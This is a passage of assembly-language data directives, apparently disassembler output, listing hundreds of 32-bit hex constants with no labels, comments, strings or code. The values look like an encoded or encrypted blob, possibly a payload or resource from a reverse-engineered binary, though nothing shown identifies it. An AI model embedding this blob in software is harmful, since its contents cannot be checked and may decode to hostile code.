239B52Ch dd 0B1E8DEE2h, 0A52FCAF6h, 3FFBF2CBh, 5A8619C2h, 5EDA2923h dd 15B0880h, 2A40449Dh, 0B1D02A41h, 0D4044B95h, 0EB17D4B6h dd 0E6F51CF8h, 0FB451643h, 9231EDC8h, 28362050h, 0A8C128A0h dd 0FB1AE6BFh, 8A74123Eh, 2F615EF3h, 0A224831Ch, 288628F7h dd 0EA9DA3A7h, 38E8DD8Bh, 0F197056Ch, 685FE0ECh, 39974FD6h dd 0A27CBF27h, 0AF7161CBh, 0C327DA8Ah, 57C546Bh, 8242D2F7h dd 0CFC19F0Eh, 0A4162F95h, 43695EAh, 910B732h, 86E8FD5Ch dd 0C79F3392h, 49688167h, 6005CB53h, 81EDC715h, 7FC0E12Bh dd 0E6EC30E2h, 1CD5979Fh, 530880D4h, 6BD49D5Ah, 0F581DD52h dd 25590F2Bh, 0B9E06ACDh, 2DCD1217h, 194BAA70h, 0FAC1EBD3h dd 8C0A79F0h, 0F3955ECEh, 0F42C3809h, 26D5F90Ah, 5C6110B8h dd 829E4D5Eh, 525BD829h, 438B2067h, 68515C04h, 65CC47BFh dd 8CB22C52h, 98682D3Ch, 5728B0C6h, 28278BCEh, 952A7924h dd 662FE7AEh, 0A16065D8h, 752C235h, 0B89C4AC8h, 0F9011224h dd 4F4530Eh, 56EB26BBh, 675BB1Ch, 54C38921h, 0CDDE5769h dd 3016C59Fh, 6F27A9DFh, 25AD72B6h, 0EED859CEh, 58346815h dd 5D458FCCh, 0DF091A05h, 0EF5670BFh, 0A3B0D36h, 0C2F71647h dd 3752F0Bh, 23B1025h, 299AEACDh, 7F76423h, 0DED9C07Eh dd 17515299h, 0A3BB5C12h, 61B21340h, 0D0C5E522h, 7BA4B5FBh dd 58458B5Bh, 0D1F616D2h, 0C4381DAFh, 0B14EE9F7h, 159D3EE3h dd 682CC8C2h, 89B951Ch, 7A1799E9h, 0AE9732A2h, 4A872228h dd 0FE99AA34h, 5BA6C160h, 849BAD30h, 0B901C096h, 427C4E46h dd 8061CD8Bh, 0B15403C2h, 43482A86h, 122E91A9h, 394801E6h dd 201E187Eh, 0DD33D61h, 50FC0DA1h, 0E8C84A68h, 208A4802h dd 0BC6FFBC3h, 58C50D7Ah dd 0B8E99C5Ah, 0EB051C96h, 1465F485h, 6CC5B402h, 0AD80F541h dd 617AC8A6h, 9AF9054Fh, 3E20F458h, 401EC2BFh, 817C6A61h dd 25F320ADh, 2C43679Fh, 0ABE012DEh, 446214CAh, 7709D04Eh dd 0BE56586Ah, 22CCA500h, 4F4FE9CBh, 8C5D8D3Dh, 14130D36h dd 0C8015FBFh, 9C69677Eh, 0B27EF04Ch, 9559F09Bh, 0ACBD7954h dd 66871C83h, 2282EF89h, 0D76CDDBAh, 24F4FE97h, 7CE95858h dd 522839B6h, 18E1CF5Ah, 0F729AF2Bh, 10198B2Ah, 5F2E6BA3h dd 68D5CC78h, 0CFE9224Eh, 95F51425h, 0AFE013A3h, 2D2DB2F1h dd 0AF1D1B84h, 155F0541h, 0F03F1448h, 743803E5h, 88BFCB62h dd 5B1237C1h, 19F850AEh, 0AE9F5317h, 2F30B599h, 1F7C9DCDh dd 0AA53CE58h, 886541A6h, 4A017B86h, 0D5F74530h, 0CE87A6Dh dd 0E9C370E7h, 39D24A84h, 0A6DF784Fh, 1E0C1D36h, 25297886h dd 5B44ADFCh, 0A95075BFh, 8B692581h, 0B910FFF5h, 0FE2FAF3Ch dd 9DFBD827h, 5660C576h, 0B5464AE9h, 0B804DD9Ch, 0D586950h dd 2DBA00ABh, 1E983CCAh, 670BA7EAh, 5D099379h, 0C41AF602h dd 2EB85A04h, 5172B09h, 6FB8C57h, 2DE91702h, 6FD49D43h dd 0E2683C30h, 98CC9579h, 25B85000h, 51A9865h, 0B3570019h dd 0BC3A2D64h, 0C6A07F4Bh, 152D20F9h, 0A0D57676h, 0E957C208h dd 2D0009EDh, 7AFD23E2h, 2B32327Eh, 17595EB1h, 0F70900ACh dd 3CE3D955h, 2CEC201Bh, 0AC28C07h, 3DB22E31h, 0B014D5C9h dd 916769Fh, 6D7E8C62h, 0D48ADE8Bh, 0EAC94FF4h, 4282875Ch dd 0A05FD568h, 8CF8194h, 4BAD3118h, 0DEE90712h, 8971464Ah dd 2DFE2988h, 932A296h, 0F7BB1D87h, 0D2DC8EABh, 0E6CC72AFh dd 0E9E3C346h, 3018C703h, 201C8143h, 34EA7C75h, 84C1354Ch dd 4705C0F7h, 677EAD06h, 5E80914Ah, 0F0CF8858h, 0B935F5E4h dd 0EECCD12Eh, 67A87FB2h, 5B692E4h, 0EBC371DDh, 6443E157h dd 297FBA4h, 6D3722CBh, 0A11B9D68h, 2A0A1F4Fh, 0C3408EFh dd 3A061416h, 0F841C2DEh, 0A50A1053h, 30220455h, 0B8A96BF9h dd 24680840h, 0C88029A9h, 0B6492D1Bh, 0E227DA85h, 0DBD73E74h dd 0C9D0FCF9h, 2D404757h, 324AF976h, 5FC4E225h, 0A9CF145Ch dd 0D7844205h, 6813F5EEh, 8F355BA8h, 0FE4A53B9h, 0E897B2CEh dd 6F8B430h, 0F224DC4h, 376EE2Dh, 8007251Bh, 0B1573B39h dd 8FE98534h, 0C6BDBC53h, 5A102223h, 0F2D1E009h, 0BD49E540h dd 0C3563840h, 45B46B4Eh, 21D0F705h, 44392F28h, 625E8EDDh dd 57AE567Dh, 7E72DE41h, 407507FDh, 0B91E519Ah, 75561326h dd 0F2CB09AAh, 8957D709h, 34D4807Dh, 2484A43h, 3CD63540h dd 97F65B3h, 6153C2C3h, 0BD2A48Ah, 5E246A04h, 0F66795C9h dd 68554079h, 48E86E51h, 2C947B7h, 40CE6370h, 50D72942h dd 82789FA9h, 0C394A24h, 0E65AD18Bh, 0B0F59D64h, 0BA2188F6h dd 79625C3h, 5D72BEF9h, 0E91C891Eh, 0D7272949h, 2BC53430h dd 4C2EDB13h, 0F66BFEB8h, 0E9BBA155h, 0ADA03FB1h, 1296FD92h dd 0C484A8BAh, 87069F9Bh, 6FE68AEFh, 667C7109h, 0C08B7E57h dd 0E5814D5Fh, 1F390D17h, 570A7DA8h, 0DE96C48h, 0D9B55D6Bh dd 6B7F25DDh, 0A4D7F5BDh, 6955548h, 9525814h, 2DB55D75h dd 725722DDh, 0C7E55E4h, 520E588h, 0BF6EC380h, 8470160Fh dd 0F857AD5Ah, 55CD34F0h, 4CF08EBFh, 9DC449Eh, 9F2F8198h dd 31B9D20Ch, 0C263CFBAh, 7EFD20A3h, 49B56880h, 0C016205Ah dd 9001D0F8h, 37BDE3Dh, 0C5C2E64Eh, 19D0752Dh, 0CBD810A2h dd 0B99C687Dh, 0AB6D2D3Dh, 0B9AD020h, 5E218C6Ah, 2D076C88h dd 0F07E8650h, 2D5B1D02h, 5D3952BDh, 61708E87h, 82E8D13Bh dd 0B72C46DEh, 3E077FA5h, 0BB316468h, 7FF39330h, 0A68CC54Dh dd 0CA6E88B8h, 37966C12h, 0E9092EA2h, 8B1A0187h, 0B1A517FFh dd 75206808h, 71C13186h, 0B2BC3E55h, 99E2EAE4h, 89BDA8C5h dd 8EE96B66h, 0CA5BD816h, 7C18698Fh, 357A0583h, 5FA4039h dd 2B654164h, 9BBE5602h, 756DFF32h, 0E90696F9h, 76668293h dd 1B5E57h, 5141B547h, 0C0182EB1h, 20607E1h, 80F17C80h dd 0CE4C883Eh, 3D4D3040h, 4E230DBFh, 342A879h, 40014E33h dd 0F7878947h, 8843C31h, 0BE8AE2E9h, 4DDFBC3Ch, 0E28BF05Eh dd 0BAC24782h, 20856655h, 0F716A6B4h, 3AE852D6h, 0BA0C81ADh dd 8F19750Ah, 0BF318C60h, 5826A8E5h, 7082D45Bh, 7C675558h dd 0AD24DEA5h, 0AB6EF8F4h, 0F2B84DCh, 4E046EB4h, 0E74143FEh dd 46F26789h, 6C843840h, 313A6416h, 0FD57AF1Fh, 5F082E0Ch dd 4A19EEE6h, 5577D006h, 2C2C27BDh, 0F50060E3h, 43790583h dd 60A7B045h, 0FB7642Eh, 74C7EFC0h, 12C580C7h, 0F0C0DEA1h dd 5A13392Ch, 0AE1AAAFh, 0EF117A6Fh, 48D81177h, 0E9772C5Fh dd 62C0C85Eh, 0FAFDF05h, 0C5891A41h, 0BF5B1484h, 456AFD61h dd 0A8261116h, 0F1D2F01Eh, 0FB744BA8h, 0CC8CDFC2h, 0A53A4DB6h dd 5F34FB5Bh, 9D008B12h, 0C146030Ah, 2085CEBh, 3B489F02h dd 45DD317Dh, 2BCACCEh, 302336EDh, 43ECA75h, 0E885F08h dd 22F42968h, 0BB101768h, 8B892337h, 0F47C656h, 73442EACh dd 0B81203A4h, 0E043DE99h, 53F797Ah, 0B3C8C7B2h, 851181CAh dd 6CCF96CFh, 0D6826A21h, 9A5F149Dh, 0F040855Ch, 3E28B08Ah dd 5076EE30h, 0B3AD634Eh, 404E52Ch, 0FFFAE9AEh, 0CAAF9413h dd 8D8D5B33h, 0B3F25341h, 6F5267Bh, 8A3FB9Dh, 68041A6Ch dd 0D8BE6067h, 0C41AF2Ch, 9BCFE06Ah, 28BC71F8h, 268C6887h dd 0A359F509h, 6A6E68C2h, 0CF765D8Eh, 6AD812E2h, 31FEA3CEh dd 14CA93D1h, 8D2F708h, 0F355239Ah, 8CE98B61h, 0C4E6AE49h dd 41507C7Dh, 0B1226F3h, 90ACCDD6h, 89B7054Fh, 0E79581CFh dd 0EC272A48h, 927F082h, 4743C680h, 0C11F1A0Ch, 528804EDh dd 51AD013Eh, 484E8868h, 2F17CF67h, 0EF02340Ah, 0E0F95044h dd 78F6E30Ch, 9F40B727h, 40B51B6Eh, 1DACF295h, 9F7F7A12h dd 9FF7C0EAh, 0E9D32919h, 0E8B515E6h, 82218D37h, 465057C2h dd 2EE1169Dh, 0BBA032ACh, 66EA2A2Fh, 68FE487Fh, 0B8074DBFh dd 0B5A20DD6h, 36668928h, 207CE672h, 0A2B0ECF7h, 8E094A98h dd 30BDC6Fh, 0F9BD46B3h, 0A2E893Bh, 0A4993921h, 36E2674h dd 0C2217D3Ch, 64AB71E9h, 141EB36Bh, 893DE28h, 7AC10C3h dd 0CBFE2416h, 0F8A1C551h, 0CD31130Bh, 0E8101EF2h, 0C41A4F28h dd 49E80006h, 0F23AAC18h, 8BF55B21h, 83861194h, 74DFF201h dd 6A211140h, 5C1879F8h, 5FF957AFh, 4FDD53B5h, 0C9280F28h dd 141E7724h, 0C57CAC2h, 889DF2A6h, 0BB0BC50Eh, 892A5927h dd 9FD4519Bh, 8B45FD60h, 4E98B815h, 0CF0FF9E5h, 0A3E49FDDh dd 0D29703A7h, 552616CBh, 9400AF53h, 875B54DAh, 3AA2B4FBh dd 1344324h, 1DC24F45h, 8171F5E9h, 13CBF3FFh, 0EB2B33D5h dd 1FEBC703h, 4B06813Dh, 2D93F8DFh, 446060DBh, 592FBFC3h dd 0C21A0C60h, 0C1552A6Eh, 372EB434h, 87023F43h, 0E058C121h dd 2D6EAD05h, 21F84169h, 20A90D9h, 96E83Bh, 61280B78h dd 5F8DE955h, 0A5B0E82Ah, 9B3F9E82h, 8C4C091h, 0B85E7160h dd 1869826h, 12C96BAAh, 2A3967E9h, 6017CEB6h, 886CC6Ch dd 0B75A9B40h, 973D92F9h, 91C883D4h, 4ED64E29h, 97772704h dd 359D724Fh, 3657ADAh, 0EE90806h, 814F642Eh, 0E876C50Dh dd 835E603Ch, 5C334A12h, 486BC2F0h, 0F0254B19h, 74AFD4E5h dd 22F5245Eh, 47938185h, 42340FE1h, 95D7955Eh, 4B8E26FBh dd 8DE79055h, 9EF1311h dd 0E9A49829h, 9AB2B84Eh, 1B4B7100h, 0E1685F2Dh, 0D2D50C4Ch dd 4FA64D02h, 0B6C541B3h, 0CAE7A157h, 0A85F1672h, 0AD39E8B9h dd 63E5764Ah, 0FAECC9ECh, 0FE9ED87h, 1205E30Fh, 6B2DD82Eh dd 9F489F1Bh, 9897D143h, 0BD0CDE03h, 3B798218h, 0CBC5082h dd 7729506Eh, 0E0E8C20Ch, 0E7A9405Ah, 0CA00841h, 2A586014h dd 192BFDCAh, 261A6812h, 16F40B35h, 163A6153h, 20FEF386h dd 924441AFh, 8D54B7BDh, 77EB3109h, 0D50835DBh, 85EC27F2h dd 5DFB0127h, 0D84AE8C6h, 0C2AC30BAh, 0D19F2A88h, 0FB5B12B2h dd 0FAC9A7A7h, 5F3E4A57h, 3DF65670h, 0DAFB824Ah, 0DEA34E79h dd 5E54560Ah, 0FD0817E6h, 9AE1309Dh, 4C313BC8h, 5E058C64h dd 8061787Ah, 49419240h, 0ABE9050Ch, 4E95320Dh, 6A06B150h dd 18D55DC0h, 14104D6Fh, 0A70E1D75h, 54E9CB3Ah, 5659D8E0h dd 2F68F8BFh, 0C27C71F7h, 1449DD70h, 9C513F2Eh, 5416EE18h dd 4607280Dh, 362D091Ah, 0D7D03032h, 0CE31BB60h, 0E918597Eh dd 5466BC4h, 94201E7Ah, 3E788B7Fh, 0F4A82D5Ah, 7B9D3DF4h dd 5EDEBE8Ah, 7CC7C96Eh, 72E3467Ch, 75C04C19h, 0B72BBF40h dd 4CF9A27h, 1361EFEFh, 49114B1Fh, 56B70034h, 0B1510466h dd 0EECF2801h, 39B1DFACh, 39FE2A5Dh, 17A23F88h, 12C98B40h dd 0C5246528h, 0FE180E16h, 0E912D854h, 0B61537Fh, 1D7437BCh dd 0CB955F25h, 2348378Ch, 0F0DB09EFh, 90E9257h, 0C00503E5h dd 7F45EA94h, 1F0F303Bh, 0FCCA2BE2h, 970EFE0Bh, 84578B2Ah dd 0A4CD9042h, 7D64B5E1h, 16559501h, 9A42F780h, 958F70C9h dd 968296FDh, 0B3B18BA3h, 9B162FD1h, 162A608h, 0DF184EB9h dd 3E5BFD5Ah, 4FEBEC40h, 0C019301Ch, 991076C8h, 0D230F73Eh dd 48EDC24Ah, 0C7F603Ah, 7EBE1E1Fh, 3934CEC0h, 27E90109h dd 4C5467BFh, 92F093E9h, 3B0A2B6Bh, 3419160Ch, 701304ECh dd 9A8EAAEBh, 3E3E85Eh, 4F2B58F7h, 0ABECE4E9h, 5660B678h dd 331CF291h, 0A9D0BD60h, 0FA6BA925h, 0DF47E024h, 2610433Dh dd 7DDA2AD2h, 0D952FEE9h, 6A502561h, 5B8B6DA7h, 0A682EB74h dd 720CA05Eh, 95EA9052h, 22B4317Dh, 3498C52Ah, 179CEBCFh dd 957A92EEh, 5C462E60h, 123F3CB7h, 0A60DE568h, 4980847Ch dd 3DEE0B1Dh, 0F63E9070h, 0D569A5B1h, 0EFF6E3CEh, 0AFCC314Ah dd 0B3664E2Ch, 32A25861h, 69BF2D32h, 0B0EF575Dh, 0A3746C73h dd 8097F61Ch, 274369E3h, 29D75BEAh, 0C661F561h, 6F3F4CD8h dd 0AC4AB8B2h, 0BF9784E9h, 0A8D04D1Eh, 41011E54h, 5FCF417Eh dd 0EACD8191h, 6C7978D7h, 699EED40h, 0A94E4AEBh, 7D0479BFh dd 29593341h, 0BEAEE905h, 3F777343h, 48539A79h, 14783988h dd 0A3D38965h, 45763820h, 0C50A8E5Ah, 5A055C68h, 7D05D301h dd 0CAEE61DDh, 32D31722h, 69F58BFAh, 27F27E87h, 892F9A97h dd 1FA852EEh, 574ECE81h, 145ACCDh, 6C3C4447h, 0C3F45E9h dd 0DDD25FF1h, 23B70314h, 3D47B92h, 272D06EEh, 0CB0761Ch dd 343F5C26h, 0E9126B0Ch, 8BFAD0Ch, 0F6A5B010h, 0B29347F4h dd 597E8563h, 0A1BBB8B4h, 5AB020DCh, 88FD7C95h, 4D24420Ch dd 0AC2C6105h, 3F0F1DFEh, 0A8EC2E15h, 0DE658513h, 5455127Dh dd 0FF325D0Bh, 57F6B54Ch, 5FE8BE5Dh, 8912A8B9h, 500E09F3h dd 7762E354h, 6292F41Eh, 18D7783Ch, 8223A8C4h, 57A55D80h dd 0CEF60F95h, 0DD970A70h, 0A3FDC23Ah, 12A4CD4Eh, 0E31EC5C7h dd 60C4DA4Dh, 81173893h, 2D74295Bh, 2DB5C752h, 0C4A6FBE5h dd 85626514h, 88BB32C4h, 4B44EE07h, 1A49E0Ch, 42267520h dd 0E1A6305Fh, 0BB002C9Ch, 28A97A82h, 0DCE30081h, 0E968E832h dd 20D7A285h, 49A491EEh, 7FC00415h, 7B83EDA5h, 0EBC05DA6h dd 24C48B4Eh, 785A755Eh, 634FD5h, 7DA305B6h, 2D5E0285h dd 0AC4EDCBDh, 8F18160Dh, 0A7844DB2h, 0C68716D7h, 34117039h dd 0C2A6335Fh, 50F25331h, 133BDE97h, 8C00929h, 1741DB0Bh dd 0B84C405h, 0D99F01E4h, 27076B0Fh, 66FA39B8h, 7C3D6720h dd 0C3E320ADh, 0ED814D0Eh, 729B2443h, 31924380h, 0AD184F0Ah dd 3A6E10BFh, 270EA84Bh, 30D4705Eh, 0EAD9E364h, 932F774Eh dd 0A065DE50h, 0F95E5208h, 0ECCAE9C5h, 0C7E25E29h, 0E9565381h dd 29D6C82h, 5A39B8B9h, 0B5D07842h, 2F1DDFD8h, 0F78167ECh dd 0AA4668BAh, 127FD620h, 0F048BE4Dh, 8A1E924h, 7C3B365Fh dd 1D34504Dh, 0B084C9FEh, 0AB8580F8h, 0F11CE616h, 247992FBh dd 0E2827F4Bh, 777B779Dh, 4FF5E992h, 5BCB0CA5h, 2DEF98D9h dd 0DECA030Eh, 0E16ABC25h, 188B9EA0h, 6A83E2C0h, 679FB3F2h dd 0D0C2624Eh, 6FF7CDD8h, 12E74CC5h, 4FCFE2D2h, 69498AAEh dd 0AF71D71Eh, 0CCCDE959h, 0C346443Bh, 0A4B1D5C0h, 6D1FE489h dd 6B93032Ah, 2D888FB0h, 85445AF4h, 0F69266B5h, 514B5D7Bh dd 0CD18B348h, 0A7C2CF6Bh, 51841912h, 76484305h, 8E68647h dd 8188B1A2h, 0D9F6D2C0h, 3010C840h, 505937CEh, 83E5F470h dd 0ED00527Ah, 44BC4213h, 703E1C1h, 2D41C981h, 3FC69AE7h dd 29CDC607h, 0A4043931h, 0A568023Ah, 0AE02491Fh, 5426F338h dd 4D954393h, 0F792120Eh, 0BF5760D2h, 4E206229h, 0EC6816D6h dd 0A8674B22h, 3B3640E6h, 0B799DD29h, 0C64F6B70h, 0D989A0D1h dd 9E667950h, 0C4E6965Fh, 53F3FE7Fh, 67886883h, 8D41B116h dd 0FC83E295h, 0D3691933h, 7A9D2379h, 0B2FF3BC4h, 75F38BE8h dd 81EF2E5h, 60C07E25h, 689AC680h, 0EF5DEF26h, 5344B060h dd 4594EB3h, 10B9FD91h, 681B04B4h, 99822039h, 325D503h dd 7679F838h, 0A530F9B8h, 68E0BB2Ch, 3B1D5862h, 77B6EAF4h dd 16B285Ah, 0E92F8998h, 419EF72Ah, 505478FEh, 655AAF9Fh dd 3341AB8Fh, 5505817Eh, 80A4441Fh, 13024529h, 780F664Ah dd 76D72E97h, 29019E00h, 7DE9709Eh, 0D929517h, 6B507569h dd 2C4ED208h, 0B5417CDh, 6C515C3Ch, 0BC3506Ch, 3135B31Ah dd 26FE2EF0h, 0AFCD4382h, 72C0CCCh, 45A662Eh, 9D21B357h dd 2F99FA4Ch, 6F7BD609h, 7772151Dh, 25EC7D0h, 0E1D15D23h dd 45277AFEh, 744E8078h, 4CE97F88h, 0C9F1E454h, 0BD533813h dd 78F1B600h, 24400B0Ah, 0BA745EE9h, 9C7011Eh, 2523A5F7h dd 7C14BDFh, 898E2C1Ch, 5DE8F553h, 0C2047614h, 4A96E96Eh dd 0C446ECAAh, 0B5CD07D1h, 0A34BD238h, 663CC84Dh, 53986F61h dd 0AD5F6AEDh, 0D00EE75Ch, 645A8B2Ch, 30642D10h, 5E82F1D1h dd 7A3ED3E9h, 45E80FFBh, 0B064173Dh, 2DA3AF9Eh, 0E422B84Ah dd 69829584h, 0F0E00E55h, 0D55B3A05h, 115E472Fh, 0B82495CAh dd 7C681958h, 2EC9B556h, 0E920BD17h, 98E553CDh, 0DA3B2093h dd 9AFD39Fh, 1855B7FCh, 4A026841h, 740DA33Fh, 0D1A8C34Fh dd 307B844Eh, 0DEE951ABh, 88E67FEBh, 0D194FA4Ah, 0E520F9AFh dd 680B47FCh, 94762F5Bh, 0AC628652h, 0C8280E48h, 0B24BEE04h dd 7752AE5Eh, 6D6DFDDBh, 3E063A20h, 800EE3C0h, 0EB6926CBh dd 88C35383h, 57C2D882h, 0BD283A7Eh, 524CB22h, 467EA6EFh dd 2975AD78h, 78A9C4F0h, 0FC39BA01h, 0D0CAE92Dh, 0CE291FB0h dd 37780452h, 0E5D1C205h, 8225327Fh, 9141016h, 77E8A5A7h dd 5A1EB288h, 36C1C19Bh, 0ABAC7F9Ah, 881CB5D0h, 0EAF796E6h dd 0CCD30523h, 0B3D82109h, 5A09220h, 25B45066h, 13F90B28h dd 5725D656h, 774B3565h, 6CFD4E9Ch, 0A965897Bh, 13E57709h dd 59DF6D19h, 29123072h, 0C4AFE8BEh, 0EB13D7D5h, 9AF8C79Dh dd 455BB73Dh, 0ED01A820h dd 0E96F0142h, 3D730FE1h, 5E7D8242h, 5B24069h, 2957ED81h dd 4D48CB16h, 522D93A8h, 0A0B162C0h, 0C0968DA8h, 0F606E40Ch dd 398004DCh, 0EC99CCC4h, 0C15C06A3h, 0C8817EE1h, 61A51362h dd 810CD776h, 0E4CDD32Fh, 79B5F2EAh, 94F79735h, 327FB8E2h dd 0B210341Eh, 0B551C760h, 0EA281D1Dh, 0E7095997h, 0AE570003h dd 0E7A1F380h, 0D5DD8BF6h, 0E9A3878Eh, 605FB4CAh, 90FB52CCh dd 4B694A31h, 43D4E0ACh, 71081207h, 0D0EB46D5h, 0C7ECD05h dd 8E169728h, 9505520Fh, 5DC780B0h, 9F5F213Ch, 883855Ah dd 0E95B81E5h, 16162A67h, 0BB28FEBh, 0D9197F68h, 0EBC88CAh dd 1E249869h, 4AE39639h, 4875A72Dh, 78535857h, 0A6A47B54h dd 915DF2A5h, 2B60183Bh, 6F95525Ah, 427424C2h, 7B4554E7h dd 0C27C094Bh, 6546FF5Fh, 89280621h, 227B0E53h, 0BD275510h dd 76A781F6h, 0D602253Dh, 0C65FA570h, 0F8205F4Dh, 0A36809DAh dd 2D52C673h, 2D1845ADh, 0ED9C10E1h, 8C576843h, 2F8B31AAh dd 0D9F70111h, 130D9F20h, 0AF6E5C33h, 4169301h, 0BC2E2139h dd 2A490487h, 91BE313Dh, 0A7B6D148h, 1C1EFEE9h, 1ECFCF81h dd 1390A917h, 0CC83AE2h, 9597F257h, 0FD188F13h, 88240DCDh dd 0A18F90C3h, 0BF1E459h, 2668FA64h, 0C365608Eh, 794E626Bh dd 0AAFF91BEh, 0D9D3B0Dh, 4CBFC220h, 9800E99h, 575BE570h dd 0CF49684Fh, 7522575Fh, 0EC7709D0h, 217C21D9h, 0E2FCFCA5h dd 57091C8Ch, 0A9C7CEC0h, 257AC9F7h, 184B6992h, 748A6934h dd 0CFD1978Fh, 0CEBC5C92h, 49685502h, 8277A903h, 0CBC9CE34h dd 3D93B186h, 4FE64F81h, 3014544Ch, 6D0330F3h, 32E96CE2h dd 0EE2302C8h, 15ED73D5h, 0CCB02DF9h, 0BDE6C15Eh, 503B54A7h dd 18E901FBh, 0D1FF1054h, 7FF5C5BAh, 0E3E55287h, 0C53A04B1h dd 18A3FB74h, 2D8EF6D2h, 0A29DD0F5h, 0E49757EDh, 6389B08h dd 151BD968h, 0A28A492Bh, 976AC202h, 835C551Dh, 5F120CC8h dd 5204688Bh, 0E2E50CE9h, 690120EAh, 0ACDF8A81h, 464C084h dd 0E93FD72Ah, 0B9FCD0FDh, 0BF7C79F1h, 1B9900B5h, 95763835h dd 7F1344D0h, 7E16A73Ch, 2136A102h, 356E4013h, 0E29F963Dh dd 0E5825051h, 5804D23Ch, 0B2935199h, 0E887AEC3h, 4A8F0E9h dd 0A8403705h, 0D7E7FB65h, 0D9281684h, 0E9DFFE24h, 3A3F1C8Dh dd 384A4910h, 7012D008h, 53751C17h, 84131ADh, 0FFE18BF5h dd 0A6F955C6h, 5462688Bh, 0F6F127C1h, 9087BCBh, 0FEE84EC9h dd 28A04332h, 68125287h, 0BB3D7C79h, 59017839h, 0D1278B51h dd 96903BE7h, 4E401338h, 1C28AF3Eh, 6054F286h, 0E202DA64h dd 212FF6D7h, 0BEECCFh, 0AF1D72F7h, 5FB95135h, 0D5B0A16h dd 41656A00h, 41016A60h, 820804CFh, 0FF0B522Fh, 503C1E02h dd 0F15C4CF7h, 962370ECh, 2FB6403Dh, 3EA4EE28h, 2E6C016h dd 80E1D801h, 0CBCC5DEBh, 3EBB00Dh, 47B65244h, 0D2AD5366h dd 0DBE29735h, 0F3A19643h, 5DE4305Ah, 56CD7E9Fh, 401CE92Fh dd 0F79B80Eh, 515CA356h, 0AE745A64h, 37811CECh, 3C208822h dd 0B6626434h, 7195EE43h, 0EA5540F2h, 6A080831h, 0E8BF5644h dd 0AC3AC59Dh, 0F4D95177h, 998C840h, 64DD9018h, 569302BFh dd 0C6832ED4h, 60E699E1h, 406423DEh, 0B082E045h, 931FF8FCh dd 3FB20B47h, 0E5C10A1Bh, 8572485Ah, 10AB5000h, 6839E781h dd 0F037508Bh, 0F83F76FDh, 7380B857h, 0B39F5031h, 682D4017h dd 0B4099324h, 389556Bh, 0C2D41FE2h, 52267CC9h, 0AC6679D5h dd 4B23EB39h, 67107D66h, 0BBC06528h, 798231FCh, 81B1B904h dd 17AFA52Bh, 9A6F963h, 7D13D7E9h, 0D0DF25CAh, 366597AAh dd 5240AA29h, 2F2B90BAh, 0DFF87591h, 0A0FA59BDh, 4ADF0283h dd 0DA291D64h, 5F583DE0h, 0BAB9D2B9h, 0EBECDBD0h, 0BF016440h dd 0B47D7689h, 538B4CA6h, 13F9E9F0h, 1258BA80h, 0EC149EFEh dd 27F5C9Ah, 48E9F021h, 0F703E87Ch, 9A7881Ch, 9BED75C0h dd 2C47AE6Bh, 203ACD01h, 0BF958008h, 0F8411418h, 9105FE50h dd 0AF22B67Ch, 8C31A797h, 0E860D806h, 5D0A4031h, 133783A0h dd 43296B1Fh, 0ABC17A4Bh, 59A5D621h, 0E5166B4Eh, 882774BBh dd 0C7403ADDh, 79F3B859h, 15732FD8h, 2055BE12h, 68515551h dd 957F178Fh, 1EBB0417h, 77BB0B98h, 585F664Ah, 955D9070h dd 0A03DE1DCh, 9A34C54Ch, 0E352EC8Dh, 42D4FF5Ch, 924063A7h dd 0FB72020Eh, 4476684Fh, 2073A96Ch, 7847732Fh, 934F4CC1h dd 1206D724h, 0E516BFB0h, 0ABD6B8F3h, 0B92BDE38h, 9B3822Dh dd 9AF21E99h, 17510882h, 76C46847h, 4FE96398h, 2F7A8869h dd 8F11C248h, 2927C9F1h, 93E55788h, 0C7C5E984h, 0FBD205B8h dd 0FE2A224h, 0A28EB97h, 85ED5BE9h, 5FCFAF06h, 9340E90Bh dd 0ACF56FE8h, 0A97E780Bh, 12E17C29h, 0BDE8B0ADh, 1445400Fh dd 5B8C841Fh, 9F929DA8h, 6C312F54h, 3BD4977Eh, 34E67ECBh dd 0A571B850h, 6E0B8580h, 9031E64Dh, 0DC9825B1h, 0D62768FBh dd 0F17CBFD8h, 2479D7C2h, 9768D5E9h, 6F1F6762h, 3F802D28h dd 76350D0Bh, 78DD3D09h, 0E9658D6Eh, 5A85E036h, 0C706609Dh dd 337F9566h, 0CF12D9CAh, 0EA92DE6Ch, 93B22FC4h, 0F6B5FE92h dd 0CDE93350h, 82528129h, 805059EAh, 965B740Bh, 5AA14B75h dd 6841E071h, 0F7C2781Dh, 5CC65659h, 0B119019h, 6F4F2B4Dh dd 0D89D3D50h, 0FEAC97FFh, 0CB01EA5Ch, 0E9F4F2B4h, 50631780h dd 5BBB9F4Eh, 8B2BB0E1h, 0CA814F55h, 4EAD9412h, 4A02CC76h dd 402F8775h, 53210EAh, 49E90ECCh, 254BEB4Eh, 0C6E4F5BBh dd 2B9C30F0h, 0B414412Ch, 0A20A20C8h, 1E585F7Bh, 2A6C6817h dd 61ACC660h, 0F74601D6h, 206847D7h, 5153672h, 34A937F9h dd 382DBA00h, 9C017335h, 2FE10129h, 0DB656960h, 0AFCCAFCFh dd 0E92DCF1Eh, 49C684A2h, 250A2280h, 214E1FF9h, 0AD249FC1h dd 35952568h, 0AD5E4BFh, 9DD31431h, 6FC527EBh, 19D1018Ch dd 261BB85Ah, 82D32A28h, 612B6D0Dh, 0A01EC05Dh, 0EB810B85h dd 30FDC709h, 81824CB2h, 260FE31h, 7BF15EF3h, 0AD2A9C6h dd 502A7A2Bh, 69030208h, 0E8577E55h, 26594DD5h, 0A51A6680h dd 134F27F4h, 4905B4A2h, 84FC3EC0h, 5B25E83Fh, 1AA1BDA9h dd 0E4282B35h, 25AD4F48h, 9C76AE41h, 8D6CB59Ch, 0D8C69F2h dd 8670E95Bh, 6CC53F5Bh, 0E1F13CAAh, 7FEB5C44h, 7F6130C2h dd 8C443FA4h, 27E5544Bh, 821C0806h, 49F05514h, 0E9E359B5h dd 25EB7155h, 349B9757h, 494B9A08h, 1DED5BA0h, 544C9481h dd 0B5E7403Eh, 4205F314h, 93D6E949h, 9218AEBh, 0F909E368h dd 0DB3342DCh, 2F14CE5Dh, 0DD705768h, 0C4345E9Fh, 2E34E114h dd 539FD6EDh, 0BE2BC013h, 23D6A18h, 0F0212767h, 0C739BCB4h dd 0D089D45Fh, 4FD5BB5Bh, 7D10A125h, 0E912346Ch, 7E4E530Bh dd 2FFBE4F2h, 28C48FF8h, 0B9CEFA68h, 404812h, 94842D87h dd 35071C4Eh, 7D6A195Eh, 9C0C4C50h, 1784B552h, 25A2A8D5h dd 0AF945C05h, 5B53217Fh, 